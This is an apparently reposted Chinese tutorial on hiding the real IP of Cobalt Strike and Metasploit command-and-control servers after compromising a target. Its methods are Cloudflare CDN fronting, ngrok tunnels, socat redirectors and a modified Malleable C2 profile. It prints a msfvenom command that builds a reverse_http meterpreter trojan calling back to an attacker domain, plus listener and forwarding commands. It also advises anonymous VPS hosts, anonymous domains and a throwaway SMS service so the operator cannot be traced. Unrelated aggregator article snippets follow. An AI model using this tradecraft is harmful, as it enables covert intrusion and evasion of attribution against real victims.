渗透测试框架之CobaltStrike,Metasploit域名上线隐藏IP

概述

为什么要隐藏IP
在拿下了目标机之后,目标机在内网里面,使用msf或者CS时,用自己的VPS做服务器的话,导致很容易被溯源。

域名上线原理

当我们访问域名时会经过域名解析 域名解析就是域名到IP地址的转换过程,那么就意味这我们访问域名实际上最后是访问的真实IP
A 记录: 将域名指向一个 IPv4 地址(例如: 100.100.100.100 ),需要增加 A 记录
CNAME 记录: 如果将域名指向一个域名,实现与被指向域名相同的访问效果,需要增加 CNAME 记录。这个域名一般是主机服务商提供的一个域名
MX 记录: 建立电子邮箱服务,将指向邮件服务器地址,需要设置 MX 记录。建立邮箱时,一般会根据邮箱服务商提供的 MX 记录填写此记录
NS 记录: 域名解析服务器记录,如果要将子域名指定某个域名服务器来解析,需要设置 NS 记录
TXT 记录: 可任意填写,可为空。一般做一些验证记录时会使用此项,如:做 SPF (反垃圾邮件)记录
AAAA 记录: 将主机名(或域名)指向一个 IPv6 地址(例如: ff03:0:0:0:0:0:0:c1 ),需要添加 AAAA 记录
假设 现在有一个域名 www.aaa.com 配置了A记录
那么我想让我的msf上线能达到隐藏真实IP的效果吗

通过CDN上线MSF

CDN的全称是Content Delivery Network,即内容分发网络。其目的是通过在现有的Internet中增加一层新
的CACHE(缓存)层,将网站的内容发布到最接近用户的网络”边缘“的节点,目的提高用户访问网站的先赢速度
假设您的业务源站域名为 www.test.com ,当域名接入 CDN 开始使用加速服务后,您
的用户发起 HTTP 请求,实际的处理流程如图所示,根据他的处理流程,CDN最后会将流量转发到真实IP上, 那么我们便能通过CDN达到隐藏自身的效果

CDN上线具体实现

基础配置:一台VPS、一个域名
这里的VPS最好是匿名的
既然是隐藏自身 那么域名肯定不能使用自己备案的域名
https://freenom.com/ 注册免费域名 注册失败,可以用gmail注册
https://cart.godaddy.com/ 注册匿名域名
https://www.cloudflare.com/ 免费CDN

注意

Cloudflare支持的HTTP端口是:
80,8080,8880,2052,2082,2086,2095
Cloudflare支持的HTTPs端口是:
443,2053,2083,2087,2096,8443

MSF生成木马

msfvenom -p windows/x64/meterpreter/reverse_http LHOST=www.firreeoma.tk LPORT=2095 -f exe > shell.exe

MSF开启相对应监听

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_http
set lhost www.XXXX.tk
set lport 2095
run

流量分析CobaltStrike上线隐藏IP

CDN非法接入

使用CDN内容分发网络的多节点分布式技术,通过“加速、代理、缓存”隐藏在后面的静态文件或服务;最终
实现对外暴露的是CDN多节点的公网域名IP,很难甚至无法溯源真实后端服务器的域名或IP! 目标上线后流量走向
和MSF域名上线所需配置一样
1.开启一个listener
2.通过此监听生成后门
流量分析
观察流量信息会发现全程和CDN在做通信

隧道转发代理

利用内网穿透,将C2回连端口映射到其他公网地址,以达到测试程序通过其他公网地址进行回连,隐藏C2真实ip
1. 注册ngrok账号
https://ngrok.com/ 2.下载相应版本客户端
3.配置anth
4.转发端口
./ngrok tcp 10088
使用说明
https://dashboard.ngrok.com/get-started/setup 5.CS配置listener
6.生成payload运行上线

流量走向情况Wireshark抓包情况分析

并没有和我们的真实IP有交互 转发重定向
具体实现:两台vps 一台转发机器,一台teamserver
socat 转发
常用选项
-lh 将主机名添加到日志消息
-v 详细数据流量,文本
-x 详细数据流量,十六进制
-d 增加详细程度(最多使用 4 次;建议使用 2 次)
-lf <logfile> 记录到文件
socat TCP4-LISTEN:80,fork TCP4:C2ip:80 socat -d -d -d -d -lh -v -lf /var/log/socat.log TCP4-LISTEN:80,fork TCP4:C2 服务器 ip:C2 服务器监听 Port
解释:将此机器801端口接受到的流量转发给119.45.175.218:1212
1.创建监听
2.通过此监听生成木马上线

Wireshark抓包分析流量

通过查看连接情况和wireshark能够发现只和转发的机器有交互,在真实场景转发机器最好匿名

隐藏cs流量

cs配置文件Profile
下载地址
https://github.com/threatexpress/malleable-c2/archive/refs/heads/master.zip
keystore的生成方法:
去Cloudflare的SSL/TLS源服务器创建证书,使用默认配置生成pem和key。
复制证书创建txt导入,修改文件名为xxxx.pem 复制私钥创建txt导入,修改文件名为xxxx.key
将创建的pem和key文件上传至云服务器。执行以下命令(www.xxx.com为申请的域名)
openssl pkcs12 -export -in xxxx.pem -inkey xxxx.key -out www.xxx.com.p12 -name www.xxx.com -
passout pass:123456
keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore www.xxx.com.store
-srckeystore www.xxx.com.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias www.xxx.com
openssl pkcs12 -export -in www.quarry.top.pem -inkey www.quarry.top.key -out www.quarry.top.p12 -
name www.quarry.top -passout pass:123456
keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore
www.quarry.top.store -srckeystore www.quarry.top.p12 -srcstoretype PKCS12 -srcstorepass 123456 -
alias www.quarry.top
生成的keystore文件将该文件放在云服务器CS的根目录下。
然后将keystore文件名称和密码填入profile文件中。
对4.3版本Profile进行修改。需要修改的内容主要有七处,
一个是https-certificate模块中的keystore和password,修改后把注释去掉。
另外三处为http-stager、http-get、http-post模块中的Host和Referer。 剩余三处为Profile中的响应头配置,其中的header "Content-Type" "application/javascript; charset=utf-
8";修改为:header "Content-Type" "application/*; charset=utf-8"; 在修改完成后,使用CS自带的c2lint对profile语法进行检查,没有报错的话说明配置是对的。
修改CDN配置
在这个Profile中,我们请求的URI是以.js结尾的,Cloudflare作为一个CDN肯定要去缓存它,但这样的话请求就无法到达我们的CS服务器,自然也就无法上线了。使用开发模式并清除缓存。
测试上线 启动cs,设置配置为修改好的profile
对CS的listener进行配置。填入三次自己的域名,其他的默认,在https hosts处也可添加站长ping出来的cdn ip 生成木马,在pc运行,成功上线验证数据包
上线后Wireshark捕捉到的get数据包,104.21.40.221为我们的cdn地址。host与referer为我们的域名。
https://onlinesim.ru/auth/login/?redirect=https://onlinesim.ru/v2/receive/sms?/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/16120.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

头歌传送指令第1关:传送指令 mov

编程要求 根据下方的所给的汇编代码&#xff0c;在右侧编辑器的代码文件的 Begin - End 区域内补充 C 语言代码。 mov %esp,%ebpand $0xfffffff0,%espsub $0x20,%espmovl $0xa,0x18(%esp)mov 0x18(%esp),%eaxmov %eax,0x1c(%esp)mov 0x1c(%esp),%eaxmov %eax,0x8(%esp)mov 0x18…

dubbo复习:(9)配置中心的大坑,并不能像spring cloud那样直接从配置中心读取自定义的配置

配置中心只是为 Dubbo 配置提供管理使用的&#xff08;比如配置服务超时时间等)。不要尝试通过Value类似的方式从dubbo 配置中心(比如nacos、zookeeper、Apollo)来获取数据 https://github.com/apache/dubbo/issues/11200可以在application.yml中主要写注册中心的配置&#xf…

【深度学习基础】NumPy数组库的使用

目录 写在开头 一、数组的类型与维度 数组的类型 数组的维度 二、数组的创建 递增数组 同值数组 随机数数组 三、数组的索引 访问/修改单个元素 花式索引 数组的切片 四、数组的变形 数组的转置 数组的翻转 数组的形状改变 数组的拼接 五、数组的运算 数…

Linux系统启动原理

Linux系统启动原理及故障排除 Centos6系统启动过程 修改系统启动级别 vim /etc/inittabCentos7启动流程 加载BIOS信息&#xff0c;进行硬件检测 根据BIOS设定读取设备中的MBR&#xff0c;加载Boot loader 加载内核&#xff0c;内核初始化以后以模块的形式动态加载硬件 并且加…

FFmpeg的流程

文章目录 前序代码结构FFmpeg.cffmpeg_opt.c 小结 前序 之前看过FFmpeg的各种命令&#xff0c;然后不是很理解。相信很多人都不是很理解&#xff0c;毕竟&#xff0c;单纯的去记住那些命令行本身就需要很大的内存&#xff0c;我们的大脑内存又有限&#xff0c;所以&#xff0c…

java “错误:编码GBK 的不可映射字符”

环境&#xff1a;JDK-17 本机编码&#xff1a;utf-8 代码编码&#xff1a;GBK 错误&#xff1a;java “错误&#xff1a;编码GBK 的不可映射字符” 解决1&#xff1a;记事本打开java源文件&#xff0c;另存为选择ANSI编码 解决2&#xff1a;复制代码再将编码格式改为utf-8,…

内网环境基础

什么是内网渗透? 在得到webshell后下一步渗透就是内网渗透 内网渗透就是拿到企业或者公司的内网权限&#xff0c;然后从内网得到最有价值的战果。 内网渗透和外网渗透有啥区别? 内网渗透&#xff1a;比如公司内部局域网 或者酒店内部局域网等。从内部寻找安全问题 外网渗…

错题本之<数据结构>

已知指针 p 指向单向不循环链表中的某一个节点&#xff0c;且不知道头结点。 问&#xff1a;如何删除 p 指向的节点&#xff1f; 答&#xff1a; 如果 p 指向的不是最后一个节点 定义一个指针 q 保存 p->next; 然后将 q 的数据域和指针域都覆盖到 p 指向的节点中 最后释放 …

java欢迪迈手机商城设计与实现源码(springboot+vue+mysql)

风定落花生&#xff0c;歌声逐流水&#xff0c;大家好我是风歌&#xff0c;混迹在java圈的辛苦码农。今天要和大家聊的是一款基于springboot的欢迪迈手机商城设计与实现。项目源码以及部署相关请联系风歌&#xff0c;文末附上联系信息 。 项目简介&#xff1a; 欢迪迈手机商城…

[emailprotected](10)HOC高阶组件和横切关注点

目录 1&#xff0c;什么是HOC2&#xff0c;什么是横切关注点2.1&#xff0c;简单理解2.2&#xff0c;常见解决方式 3&#xff0c;HOC 举例3.1&#xff0c;全局功能3.2&#xff0c;小范围使用 4&#xff0c;HOC 使用注意点4.1&#xff0c;不要在 render 中使用4.2&#xff0c;不…

spring状态机实战

一、什么是状态机 状态机是有限状态自动机的简称&#xff0c;是现实事物运行规则抽象而成的一个数学模型&#xff0c;是一种概念性机器&#xff0c;它能采取某种操作来响应一个外部事件。这种操作不仅能取决于接收到的事件&#xff0c;还能取决于各个事件的相对发生顺序。状态…

不同网段的通信过程

这里的AA和HH指的是mac地址&#xff0c;上面画的是路由器 底下的这个pc1&#xff0c;或者其他的连接在这里的pc&#xff0c;他们的默认网关就是路由器的这个192.168.1.1/24这个接口 来看看通信的过程 1、先判断&#xff08;和之前一样&#xff09; 2、去查默认网关&#xf…

基于SpringBoot和Hutool工具包实现的验证码案例

目录 验证码案例 1. 需求 2. 准备工作 3. 约定前后端交互接口 需求分析 接口定义 4. Hutool 工具介绍 5. 实现验证码 后端代码 前端代码 6. 运行测试 验证码案例 随着安全性的要求越来越高&#xff0c;目前项目中很多都会使用验证码&#xff0c;只要涉及到登录&…

MySQL Mysqldump备份时的错误提示

MySQL Mysqldump备份时的错误提示 执行mysqldump备份数据库时&#xff0c;命令如下&#xff1a; mysqldump -h8.137.112.148 -udbusername -pdbpassword dbname > /opt/backup_mysql/bkdata/$(date "%Y%m%d%H%M%S")出现以下错误&#xff1a; mysqldump: Could…

Liunx系统中修改文件的创建时间以及访问时间

在Linux系统中&#xff0c;可以使用touch命令来修改文件的时间戳。以下是一些常用的touch命令选项&#xff1a; &#xff08;其实在MacOS中也适用&#xff09; 修改访问时间&#xff08;Access Time&#xff09;和修改时间&#xff08;Modification Time&#xff09;&#xf…

Celery的Web监控工具Flower

1 简介Flower Flower官网 Flower是一个WEB端的监控工具&#xff0c;可以监控Celery的消费者。但是WEB端的监控对于监控系统来说&#xff0c;有个屁用&#xff0c;有用的是监控告警。还好Flower不是全部是垃圾&#xff0c;它提供的Prometheus的监控端点。然而。。。。。如何保证…

CorelCAD v2022.5 解锁版 安装教程(2D制图 3D设计和打印的简化软件)

前言 CorelCAD&#xff0c;加拿大Corel公司开发的一款适用于2D制图、3D设计和打印的简化版CAD软件。它是款专业的2D制图和3D设计软件&#xff0c;拥有行业标准文件兼容性&#xff0c;支持 .DWG、.STL、.PDF、 .CDR*等文件格式&#xff0c;轻松实现协作和项目共享&#xff0c;利…

Linux中apt是什么?apt与apt-get有什么区别?

相信大家刚安装完Ubuntu系统后除了最基本的Linux操作&#xff0c;接触较多的命令就是apt了&#xff0c;那么这家伙到底是个什么呢&#xff1f; apt是一个在Ubuntu和Debian等Linux发行版中用于包管理的命令行工具。它是Advanced Package Tool&#xff08;高级软件包工具&#xf…

学 Go 具体能干什么?

学习 Go (Golang) 后&#xff0c;你可以从事许多不同的工作和项目&#xff0c;Go 语言以其高性能、并发处理和简洁的语法而闻名&#xff0c;特别适合以下几个领域&#xff1a; 1. 后端开发 Go 在后端开发中非常流行&#xff0c;特别适合构建高性能的 Web 服务和 API。 Web 框…

初识Spring Cache:如何简化你的缓存处理?

文章目录 1、Spring Cache介绍2、 常用注解3、 使用案例 1、Spring Cache介绍 Spring Cache 是一个框架&#xff0c;实现了基于注解的缓存功能&#xff0c;只需要简单地加一个注解&#xff0c;就能实现缓存功能。 Spring Cache 提供了一层抽象&#xff0c;底层可以切换不同的…